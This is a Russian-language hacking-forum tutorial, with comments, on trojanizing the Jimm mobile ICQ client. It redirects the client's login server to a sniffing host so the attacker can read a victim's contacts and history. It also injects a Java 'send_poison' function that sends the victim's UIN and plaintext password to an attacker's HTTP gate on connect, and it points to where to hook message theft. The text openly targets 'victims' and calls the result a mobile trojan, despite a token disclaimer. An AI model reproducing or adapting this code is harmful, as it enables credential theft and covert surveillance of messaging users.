Jimm изнутри (Часть 1) Вступление Мобильные технологии прогрессируют неимоверными темпами. Аська давно перебралась на мобильные платформы, и, весьма неплохо себя там чувствует. Давайте посмотрим, что представляет из себя один из наиболее популярных представителей мобильных ICQ клиентов изнутри, и попытаемся использовать его в своих (учебных) целях Впринципе, явакодингом особо до этого я не занимался, но привлекало то, ява - это си-подобный язык, поэтому я подумал, что смогу разобраться с исходниках без особого труда (да и разберется думаю любой другой более-менее соображающий php/c/c++ кодер ) Впринципе, так и оказалось) Более того, исходники имеют потрясающую читабельность Пара часиков у меня ушла на изучения общего принципа работа и устройства jimm ) У меня была загружена версия 0.5.2 от Xаttаb'а, но впринципе, сама версия не имеет для нас особого значения. Последнюю версию вы всегда можете загрузить на: _http://jimm.im/php/downloads.php?ids=25 Меняем адрес сервера Распакуем, архив, лезем в \jimm\src\jimm\Options.java Находим объявление функции: Code: static private void setDefaults() Ага, то, что нам надо. Проставляет дефолтовые значения переменных. Code: setString (Options.OPTION_SRV_HOST, "login.icq.com"); // #sijapp cond.else# === // #sijapp cond.if modules_PROXY is "true" # setString (Options.OPTION_SRV_HOST, "64.12.161.185"); //Cannot resolve host IP on MIDP1 devices // #sijapp cond.else# setString (Options.OPTION_SRV_HOST, "login.icq.com"); // #sijapp cond.end# // #sijapp cond.end# <=== setString (Options.OPTION_SRV_PORT, "5190"); Как видим, в опции заносится хост и порт. Мы можем изменить их по своему усмотрению на фиктивный хост, через который будут идти данные и впарить жертве. Тут можно пойти двумя путями: зарегаться на simkl.com или установить свой сниффер AIM ( http://www.aimsniff.com/ ) и указать на него. Сам я юзал в данном случае сервис simkl.com, тк своего серва/дедика не было, а на firstvds запрещен прямой доступ к сетевым интерфейсам, так что установить AIM Sniff там не представляется возможным. Юзаем: Host: im10.simkl.com с портами 80, 3128, 443, 5190. Для меньшей палевности (если жертва не полный ноль) рекомендуется вписывать соответствующий IP адрес, а не доменное имя. После того, как жертва законнектится, мы увидим весь ее список контактов, ну, и соответственно всю ее хистори. Пионерим пароль Если бы мы просмотрели файл Options.java чуть дальше, мы бы заметили, что UIN хранится в Options.OPTION_UIN, а пароль в Options.OPTION_PASSWORD, причем записаны они там в абсолютно открытом виде, чем мы и воспользуемся. Выдрать их можно, используя конструкции: Code: Options.getString(Options.OPTION_PASSWORD) и Code: Options.getString(Options.OPTION_UIN) соответственно. Итак, пароли нашли, знаем как их оттуда достать? Что же дальше ? Правильно, нужно напривить их на наш HTTP-гейт (можно конечно использовать и отправку через простое сообщение ICQ на наш номер, но я выбрал данный способ, потому что так удобнее собирать БД на сервере, правда у него есть один недостаток, в самом начале, когда происходит первый коннект, пользователю придется подтвердить сначала разрешение на открытие сокета ( это норма ) + разрешение на открытие HTTP соединение. Впринципе, обычно лапоухие не обращают внимание на это, так было и в моих случаях.) Но если уж так хочется стырить пароль через пересылку ICQ сообщения, в конце статье опишу, как это можно сделать. Итак, нам нужно притырить пароль при коннекте. Открываем файл \jimm\src\jimm\comm\Icq.java , который ответственен за подключение, и находим строку: Code: public class Icq implements Runnable сразу после открытой фигурной скобки опишем нашу ядовитую функцию: Code: //Адрес гейта static String script = "http://tools/etc/jimm.php"; //Описываем Http подключение и входящий поток static HttpConnection httemp1; static InputStream istemp1; //Наша ядовитая функция, которая будет посылать нужные нам данные на гейт static public void send_poison(String type, String data) { try { httemp1 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type="+type+"&data="+data); httemp1.setRequestMethod(HttpConnection.POST); //Открываем входящий поток istemp1 = httemp1.openInputStream(); if (httemp1.getResponseCode() != HttpConnection.HTTP_OK) throw new IOException(); //Читаем из сокета byte[] response_ = new byte[(int)httemp1.getLength()]; istemp1.read(response_,0,response_.length); } catch (Exception e) { e.printStackTrace(); } } Далее ищем строку: Code: static protected synchronized void setConnected() Эта функция ставит систему в статус "Соединен", чтож, впустим туда свои ядовитые корни. Добавляем вызов нашей функции: Code: send_poison("0x01",Options.getString(Options.OPTION_UIN)+";"+Options.getString(Options.OPTION_PASSWORD)); Она вышлет нам на гейт данные в формате UIN;PASS, где нам их останется только отпарсить. Здесь 0x01 я просто использовал как описание типа содержимого (в самом гейте), у меня при 0х01 он ловил и записывал UIN;PASS, при 0х02 ловил сообщения. Оговорюсь, что метод хищения сообщений на мобильных девайсах не очень хорош собой, т.к создает дополнительный сетевой траффик, соответственно, будут лаги, и иногда некоторые сообщения просто будут не доходить (у меня такое было). Ну, само хищение истории останется вашим домашним заданием )) В, принципе, если так уж надо, место, где стоит поколдовать, я укажу: Было установлено, что сообщения проходят через обработку в \jimm\src\jimm\comm\PlainMessage.java Открываем. Смотрим на функции: Code: // Создает входящее сообщение public PlainMessage(String sndrUin, String rcvrUin, long date, String text, boolean offline) ... // Создает исходящее сообщение public PlainMessage(String sndrUin, ContactListContactItem rcvr, int _messageType, long date, String text) Таким образом, здесь использована перегрузка функций, поэтому действие определяется исходя из набора аргументов. Если хотите тырить переписку, стоит колдовать с этими функциями. В моем случае я не стал заморачиваться, и пионерил хистори (хоть и иногда и с половинным успехом через всю ту же мою ядовитую функцию send_poison. Еще одна проблема, с который я столкнулся, и которую хотелось бы осветить, это необходимость перекодировки сообщений в UTF-8 для передачи по HTTP. Но с тем, как с этим справиться средствами Java (нам придется написать собственную функцию), и о том, как написать наш php-гейт, а так же скомпилировать проект, я расскажу во второй части статьи. To be continued... Disclaimer: Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению) Автор не несет ответственности за любой принесенный ущерб в результате неправильного использования представленной информации, а так же действий, противоречащих УК РФ. Copyright: Whirt Special for: Antichat.ru
Мне тут в репутацию приходят комменты, что "читали подобное". Дайте плиз ссылку? Статью написал довольно-таки давно, основываясь на собственных исследованиях, но не публиковал. Сейчас просто оформил "как надо". Соответственно писал, тк, ничего подобного в интернете найти не мог. Дайте плиз ссылку, где про это можно прочитать, если эта тема поднималась.
1) Статья писалась давно, недавно просто привел к читабельному виду и оформил, а сорцы где то в бардаке Cd-r'ок )) Если найду, то выложу. 2) Это позиционируется как мобильный троян, а сейчас на форуме вроде это дело запрещено, если не ошибаюсь. 3) Скоро выложу вторую часть, там показано как сделать гейт и что нужно сотворить, чтобы самому скомпилировать.
блин были бы еще ссылки на программы с которыми работал было бы просто замечательно и желательно с кряками